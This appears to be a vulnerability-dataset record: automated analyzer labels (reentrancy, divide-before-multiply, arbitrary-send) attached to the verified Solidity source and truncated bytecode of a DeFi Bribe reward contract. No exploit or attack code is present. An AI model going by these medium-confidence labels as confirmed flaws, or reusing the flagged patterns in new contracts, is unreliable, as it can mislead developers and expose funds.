{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,851
0x68b16423ed2B7618dCe9150Edc38d3a6235d9511
/** *Submitted for verification at Etherscan.io on 2022-02-24 */ // Sources flattened with hardhat v2.8.4 https://hardhat.org // File srcBuild/Bribe.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.11; library Math { function max(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } interface erc20 { function totalSupply() external view returns (uint256); function transfer(address recipient, uint amount) external returns (bool); function balanceOf(address) external view returns (uint); function transferFrom(address sender, address recipient, uint amount) external returns (bool); } interface ve { function isApprovedOrOwner(address, uint) external view returns (bool); function ownerOf(uint) external view returns (address); } interface IVoter { function _ve() external view returns (address); } // Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote()) contract Bribe { address public immutable factory; // only factory can modify balances (since it only happens on vote()) address public immutable _ve; uint public constant DURATION = 7 days; // rewards are released over 7 days uint public constant PRECISION = 10 ** 18; // default snx staking contract implementation mapping(address => uint) public rewardRate; mapping(address => uint) public periodFinish; mapping(address => uint) public lastUpdateTime; mapping(address => uint) public rewardPerTokenStored; mapping(address => mapping(uint => uint)) public lastEarn; mapping(address => mapping(uint => uint)) public userRewardPerTokenStored; address[] public rewards; mapping(address => bool) public isReward; uint public totalSupply; mapping(uint => uint) public balanceOf; /// @notice A checkpoint for marking balance struct Checkpoint { uint timestamp; uint balanceOf; } /// @notice A checkpoint for marking reward rate struct RewardPerTokenCheckpoint { uint timestamp; uint rewardPerToken; } /// @notice A checkpoint for marking supply struct SupplyCheckpoint { uint timestamp; uint supply; } /// @notice A record of balance checkpoints for each account, by index mapping (uint => mapping (uint => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (uint => uint) public numCheckpoints; /// @notice A record of balance checkpoints for each token, by index mapping (uint => SupplyCheckpoint) public supplyCheckpoints; /// @notice The number of checkpoints uint public supplyNumCheckpoints; /// @notice A record of balance checkpoints for each token, by index mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints; /// @notice The number of checkpoints for each token mapping (address => uint) public rewardPerTokenNumCheckpoints; event Deposit(address indexed from, uint tokenId, uint amount); event Withdraw(address indexed from, uint tokenId, uint amount); event NotifyReward(address indexed from, address indexed reward, uint amount); event ClaimRewards(address indexed from, address indexed reward, uint amount); constructor(address _factory) { factory = _factory; _ve = IVoter(_factory)._ve(); } // simple re-entrancy check uint internal _unlocked = 1; modifier lock() { require(_unlocked == 1); _unlocked = 2; _; _unlocked = 1; } /** * @notice Determine the prior balance for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param tokenId The token of the NFT to check * @param timestamp The timestamp to get the balance at * @return The balance the account had as of the given block */ function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) { uint nCheckpoints = numCheckpoints[tokenId]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) { return (nCheckpoints - 1); } // Next check implicit zero balance if (checkpoints[tokenId][0].timestamp > timestamp) { return 0; } uint lower = 0; uint upper = nCheckpoints - 1; while (upper > lower) { uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[tokenId][center]; if (cp.timestamp == timestamp) { return center; } else if (cp.timestamp < timestamp) { lower = center; } else { upper = center - 1; } } return lower; } function getPriorSupplyIndex(uint timestamp) public view returns (uint) { uint nCheckpoints = supplyNumCheckpoints; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) { return (nCheckpoints - 1); } // Next check implicit zero balance if (supplyCheckpoints[0].timestamp > timestamp) { return 0; } uint lower = 0; uint upper = nCheckpoints - 1; while (upper > lower) { uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow SupplyCheckpoint memory cp = supplyCheckpoints[center]; if (cp.timestamp == timestamp) { return center; } else if (cp.timestamp < timestamp) { lower = center; } else { upper = center - 1; } } return lower; } function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) { uint nCheckpoints = rewardPerTokenNumCheckpoints[token]; if (nCheckpoints == 0) { return (0,0); } // First check most recent balance if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) { return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp); } // Next check implicit zero balance if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) { return (0,0); } uint lower = 0; uint upper = nCheckpoints - 1; while (upper > lower) { uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center]; if (cp.timestamp == timestamp) { return (cp.rewardPerToken, cp.timestamp); } else if (cp.timestamp < timestamp) { lower = center; } else { upper = center - 1; } } return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp); } function _writeCheckpoint(uint tokenId, uint balance) internal { uint _timestamp = block.timestamp; uint _nCheckPoints = numCheckpoints[tokenId]; if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) { checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance; } else { checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance); numCheckpoints[tokenId] = _nCheckPoints + 1; } } function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal { uint _nCheckPoints = rewardPerTokenNumCheckpoints[token]; if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) { rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward; } else { rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward); rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1; } } function _writeSupplyCheckpoint() internal { uint _nCheckPoints = supplyNumCheckpoints; uint _timestamp = block.timestamp; if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) { supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply; } else { supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply); supplyNumCheckpoints = _nCheckPoints + 1; } } function rewardsListLength() external view returns (uint) { return rewards.length; } // returns the last time the reward was modified or periodFinish if the reward has ended function lastTimeRewardApplicable(address token) public view returns (uint) { return Math.min(block.timestamp, periodFinish[token]); } // allows a user to claim rewards for a given token function getReward(uint tokenId, address[] memory tokens) external lock { require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId)); for (uint i = 0; i < tokens.length; i++) { (rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]); uint _reward = earned(tokens[i], tokenId); lastEarn[tokens[i]][tokenId] = block.timestamp; userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]]; if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward); emit ClaimRewards(msg.sender, tokens[i], _reward); } } // used by BaseV1Voter to allow batched reward claims function getRewardForOwner(uint tokenId, address[] memory tokens) external lock { require(msg.sender == factory); address _owner = ve(_ve).ownerOf(tokenId); for (uint i = 0; i < tokens.length; i++) { (rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]); uint _reward = earned(tokens[i], tokenId); lastEarn[tokens[i]][tokenId] = block.timestamp; userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]]; if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward); emit ClaimRewards(_owner, tokens[i], _reward); } } function rewardPerToken(address token) public view returns (uint) { if (totalSupply == 0) { return rewardPerTokenStored[token]; } return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply); } function batchRewardPerToken(address token, uint maxRuns) external { (rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns); } function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) { uint _startTimestamp = lastUpdateTime[token]; uint reward = rewardPerTokenStored[token]; if (supplyNumCheckpoints == 0) { return (reward, _startTimestamp); } if (rewardRate[token] == 0) { return (reward, block.timestamp); } uint _startIndex = getPriorSupplyIndex(_startTimestamp); uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns); for (uint i = _startIndex; i < _endIndex; i++) { SupplyCheckpoint memory sp0 = supplyCheckpoints[i]; if (sp0.supply > 0) { SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1]; (uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp); reward += _reward; _writeRewardPerTokenCheckpoint(token, reward, endTime); _startTimestamp = endTime; } } return (reward, _startTimestamp); } function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) { uint endTime = Math.max(timestamp1, startTimestamp); return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime); } function _updateRewardPerToken(address token) internal returns (uint, uint) { uint _startTimestamp = lastUpdateTime[token]; uint reward = rewardPerTokenStored[token]; if (supplyNumCheckpoints == 0) { return (reward, _startTimestamp); } if (rewardRate[token] == 0) { return (reward, block.timestamp); } uint _startIndex = getPriorSupplyIndex(_startTimestamp); uint _endIndex = supplyNumCheckpoints-1; if (_endIndex - _startIndex > 1) { for (uint i = _startIndex; i < _endIndex-1; i++) { SupplyCheckpoint memory sp0 = supplyCheckpoints[i]; if (sp0.supply > 0) { SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1]; (uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp); reward += _reward; _writeRewardPerTokenCheckpoint(token, reward, _endTime); _startTimestamp = _endTime; } } } SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex]; if (sp.supply > 0) { (uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp); reward += _reward; _writeRewardPerTokenCheckpoint(token, reward, block.timestamp); _startTimestamp = block.timestamp; } return (reward, _startTimestamp); } function earned(address token, uint tokenId) public view returns (uint) { uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp); if (numCheckpoints[tokenId] == 0) { return 0; } uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp); uint _endIndex = numCheckpoints[tokenId]-1; uint reward = 0; if (_endIndex - _startIndex > 1) { for (uint i = _startIndex; i < _endIndex-1; i++) { Checkpoint memory cp0 = checkpoints[tokenId][i]; Checkpoint memory cp1 = checkpoints[tokenId][i+1]; (uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp); (uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp); reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION; } } Checkpoint memory cp = checkpoints[tokenId][_endIndex]; (uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp); reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION; return reward; } // This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges function _deposit(uint amount, uint tokenId) external { require(msg.sender == factory); totalSupply += amount; balanceOf[tokenId] += amount; _writeCheckpoint(tokenId, balanceOf[tokenId]); _writeSupplyCheckpoint(); emit Deposit(msg.sender, tokenId, amount); } function _withdraw(uint amount, uint tokenId) external { require(msg.sender == factory); totalSupply -= amount; balanceOf[tokenId] -= amount; _writeCheckpoint(tokenId, balanceOf[tokenId]); _writeSupplyCheckpoint(); emit Withdraw(msg.sender, tokenId, amount); } function left(address token) external view returns (uint) { if (block.timestamp >= periodFinish[token]) return 0; uint _remaining = periodFinish[token] - block.timestamp; return _remaining * rewardRate[token]; } // used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards function notifyRewardAmount(address token, uint amount) external lock { require(amount > 0); if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp); (rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token); if (block.timestamp >= periodFinish[token]) { _safeTransferFrom(token, msg.sender, address(this), amount); rewardRate[token] = amount / DURATION; } else { uint _remaining = periodFinish[token] - block.timestamp; uint _left = _remaining * rewardRate[token]; require(amount > _left); _safeTransferFrom(token, msg.sender, address(this), amount); rewardRate[token] = (amount + _left) / DURATION; } require(rewardRate[token] > 0); uint balance = erc20(token).balanceOf(address(this)); require(rewardRate[token] <= balance / DURATION, "Provided reward too high"); periodFinish[token] = block.timestamp + DURATION; if (!isReward[token]) { isReward[token] = true; rewards.push(token); } emit NotifyReward(msg.sender, token, amount); } function _safeTransfer(address token, address to, uint256 value) internal { require(token.code.length > 0); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeTransferFrom(address token, address from, address to, uint256 value) internal { require(token.code.length > 0); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } } contract BribeFactory { address public last_gauge; function createBribe() external returns (address) { last_gauge = address(new Bribe(msg.sender)); return last_gauge; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed90681565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b081565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b01614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b01614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed9066001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f00000000000000000000000042fd5b17d55f243c3ff28a38bb49bccbef48a7b016146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f0000000000000000000000006f5a22e1508410e40bfecf3b18bc9dcc143ed9066001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad5760008